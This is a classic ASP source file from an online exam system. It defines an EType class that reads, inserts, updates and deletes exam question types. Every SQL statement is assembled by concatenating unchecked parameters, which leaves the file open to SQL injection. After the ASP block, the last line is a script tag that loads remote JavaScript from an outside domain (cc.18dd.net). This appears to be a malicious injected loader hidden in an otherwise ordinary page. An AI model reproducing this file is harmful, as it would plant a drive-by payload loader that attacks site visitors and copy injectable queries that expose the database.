etype.asp

通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务

<%
  '本类用于保存对表EType的数据库访问操作
  '表的每个字段对应类的一个成员变量
  Class EType
    Public TId    '试题类型编号
    Public TName     '试题类型名称
	public TValue  '试题分数
    Public rs       '结果集
    Private strSql  'SQL语句
    '读取单个试题类型信息
    public sub GetTypeInfo(TId)
      '创建Recordset对象，处理查询结果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '设置rs的ActiveConnection属性，绑定到连接
      Set rs.ActiveConnection = Conn
      '设置游标类型
      rs.CursorType = 3
      '设置查询的SELECT语句
      sql = "SELECT * FROM EType WHERE TId=" & TId
      '打开记录集
      rs.Open sql
    end sub
	
	'获取所有试题类型信息
    public sub GetTypelist()
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
 	  sql = "SELECT * FROM EType Order By TId"
	  '打开记录集
	  rs.Open sql
    End Sub

	'插入试题类型信息
    Public Sub InsertType()
      strSql = "Insert Into EType Values('" & TName & "'," & TValue & ")"
      conn.Execute(strSql)
    End Sub
	'修改试题类型信息
    Public Sub UpdateType(TId)
      strSql = "Update EType Set TName='" & TName & "',TValue=" & TValue & _
	    " Where TId=" & TId
      conn.Execute(strSql)
    End Sub
	'删除试题类型信息
    Public Sub DeleteType(TIds)
      strSql = "DELETE FROM EType WHERE TId In(" & TIds & ")"
      conn.Execute(strSql)
    End Sub
	'判断指定的试题类型名称是否存在
	Public Function HaveType(TName,tid)
	  strSql = "Select * From EType Where TName='" & TName & "' And TId<>" & tid
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveType = exist
	End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>